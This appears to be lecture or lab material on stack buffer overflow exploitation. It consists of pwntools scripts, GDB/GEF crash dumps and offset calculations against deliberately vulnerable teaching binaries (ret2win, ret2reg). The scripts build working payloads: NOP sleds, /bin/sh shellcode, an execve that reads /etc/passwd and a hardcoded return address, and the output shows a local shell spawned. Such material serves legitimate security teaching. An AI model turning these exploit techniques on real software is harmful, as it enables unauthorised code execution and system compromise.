from pwn import *
log.info("Start Process")
p = process("./ret2win32")
# Pause to allow GDB to connect
pause() #Need to stop to attach to GDB
# Read data from the buffer
out = p.readuntil(">")
log.info("%s", out)
# Send input
p.writeline(cyclic(500))
# Needed of script exits
p.interactive()
from pwn import *
log.info("Start Process")
p = gdb.process("./ret2win32", "continue")
# Read data from the buffer
out = p.readuntil(">")
log.info("%s", out)
# Send input
p.writeline(cyclic(500))
p.interactive()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win32", stopped 0xf3ab9da6 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf3ab9da6 → cmp BYTE PTR [eax], dh
[#1] 0xf3a5ea48 → add esp, 0x10
[#2] 0xf3a5f112 → mov DWORD PTR [esp], ebx
[#3] 0xf3a542b9 → printf()
[!] Cannot access memory at address 0x64616169
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
$ cyclic -l 0x64616169 ✖ ✹ ✚ ✭main
332
Or in Code
OFFSET = cyclic_find(0x64616169)
from pwn import *
OFFSET = cyclic_find(0x64616169)
log.info("Offset is %s", OFFSET)
log.info("Start Process")
p = process("./ret2win32")
pause() #Need to stop to attach to GDB
# Read data from the buffer
out = p.readuntil(">")
log.info("%s", out)
# Send input
payload = b"A"*OFFSET
payload += b"BBBB"
p.writeline(payload)
p.interactive()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win32", stopped 0xf70b9d8f in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf70b9d8f → cmp BYTE PTR [eax], dh
[#1] 0xf705ea48 → add esp, 0x10
[#2] 0xf705f112 → mov DWORD PTR [esp], ebx
[#3] 0xf70542b9 → printf()
[!] Cannot access memory at address 0x42424242
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
0x00007fffffffffff raises exception────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "a.out", stopped 0x4011fb in copyData (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011fb → copyData()
───────────────────────────────────────────────────────────────────────────────────────
gef➤ x $rip
0x4011fb <copyData+133>: 0x894855c3
gef➤
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fff03f43b80 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[.
..]"
$rbx : 0x636161626361617a ("zaacbaac"?)
$rcx : 0xb
$rdx : 0xfffef8ff
$rsp : 0x00007fff03f43c58 → "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[.
..]"
$rbp : 0x6361616463616163 ("caacdaac"?)
$rsi : 0x00007fff03f43d7f → "cwaacxaacyaa"
$rdi : 0x00007fff03f43c9f → "cwaacxaacyaa"
$rip : 0x000000000040122e → ret
$r8 : 0x73
$r9 : 0x1
$r10 : 0x000070390c35ad10 → 0x000f001a00004677 ("wF"?)
$r11 : 0x000070390c4aed70 → endbr64
$r12 : 0x0
$r13 : 0x00007fff03f43ef8 → 0x00007fff03f4428a → "CREDENTIALS_DIRECTORY=/run/cr
edentials/getty@tty1.[...]"
$r14 : 0x000070390c5a7000 → 0x000070390c5a82e0 → 0x0000000000000000
$r15 : 0x0000000000403df0 → 0x0000000000401150 → endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virt
ualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff03f43c58│+0x0000: "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[...]
← $rsp
0x00007fff03f43c60│+0x0008: "gaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsa[...]"
0x00007fff03f43c68│+0x0010: "iaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacua[...]"
0x00007fff03f43c70│+0x0018: "kaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwa[...]"
0x00007fff03f43c78│+0x0020: "maacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacya[...]"
0x00007fff03f43c80│+0x0028: "oaacpaacqaacraacsaactaacuaacvaacwaacxaacyaa"
0x00007fff03f43c88│+0x0030: "qaacraacsaactaacuaacvaacwaacxaacyaa"
0x00007fff03f43c90│+0x0038: "saactaacuaacvaacwaacxaacyaa"
──────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401228 nop
0x401229 mov rbx, QWORD PTR [rbp-0x8]
0x40122d leave
→ 0x40122e ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────── source:ret2winTwo.c+27 ────
22 void copyData(char* readBuffer){
23
24 char buffer[BUFFER];
25
26 strcpy(buffer, readBuffer);
→ 27 }
28
29 int main(int argc, char* argv[]){
30
31 //Pointer to the lose function
32 void (*fp)(void) = lose;
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win64", stopped 0x40122e in copyData (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40122e → copyData(readBuffer=0x6261617362616172 )
─────────────────────────────────────────────────────────────────────────────────────
gef➤ x $rsp
0x7fff03f43c58: 0x63616165
gef➤
Demo
from pwn import *
#Binary we are Exploiting
TARGET = "ret2reg"
# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET
DEMO CODING
from pwn import *
TARGET = "./ret2reg"
# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET
#Calculate offset
OFFSET_STR = 0x62616176
OFFSET = cyclic_find(OFFSET_STR)
#Start Process
p = process(TARGET)
# Connect via GDB
pause()
#Fill Buffer with A's IP should be BBBB
payload = b"A"*OFFSET
payload += b"BBBB"
#Send data and wait
p.writeline(payload)
p.interactive()
#Important, otherwise we get 32 bit Code
context.binary = TARGET
# /bin/sh shellcodes
shellcode = shellcraft.sh()
#Or run a command
shell = shellcraft.execve(path="/bin/cat", argv=["/bin/cat", "/etc/passwd"])
# Check the size of the code.
In [3]: len(asm(shell))
Out[3]: 44
# Look for Magic Bytes
In [6]: print(enhex(asm(shell)))
6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80
#Store NOP
NOP = asm(shellcraft.nop())
#NOPS Below Shell
payload = NOP*51
#Payload itself
payload += asm(shellcraft.sh())
# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)
#Start Process
p = process(TARGET, aslr=False)
#Payload itself
payload += asm(shellcraft.sh())
# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)
payload += b"BBBB"
─────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf20│+0x0000: 0x9090909090909090 ← $rsp
0x00007fffffffdf28│+0x0008: 0x9090909090909090
0x00007fffffffdf30│+0x0010: 0x9090909090909090
0x00007fffffffdf38│+0x0018: 0x9090909090909090
NOP = b"\x90"
NOP = asm(shellcraft.nop())
payload = NOP*80
payload += asm(shellcraft.sh())
payload = payload.ljust(OFFSET, NOP)
log.info("Payload length %s", len(payload))
payload +=p64(0x00007fffffffdf20)
dang@danglaptop ~/Github/Teaching/6048_Labs/Ret2Reg/demo$ python solve.py
[*] '/home/dang/Github/Teaching/6048_Labs/Ret2Reg/demo/ret2reg'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] OFFSET is 184
[!] Could not find executable 'ret2reg' in $PATH, using './ret2reg' instead
[+] Starting local process './ret2reg': pid 24416
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] Payload length 184
[*] Switching to interactive mode
--- Overflow the Buffer ---
What is your input >You entered >\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhH\xb8/bin///sPH\x89\xe7hri\x814$1\xf6V^H\xe6VH\x89\xe61\xd2j;X\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \xdf\xff\xff\xff\x7f<
$
$ id
uid=1000(dang) gid=1000(dang) groups=1000(dang),56(bumblebee),977(docker),987(uucp),998(wheel)
$
$ objdump -D ret2reg| grep ax | grep call
401014: ff d0 call *%rax
402073: ff 9c 00 00 00 b0 f1 lcall *-0xe500000(%rax,%rax,1)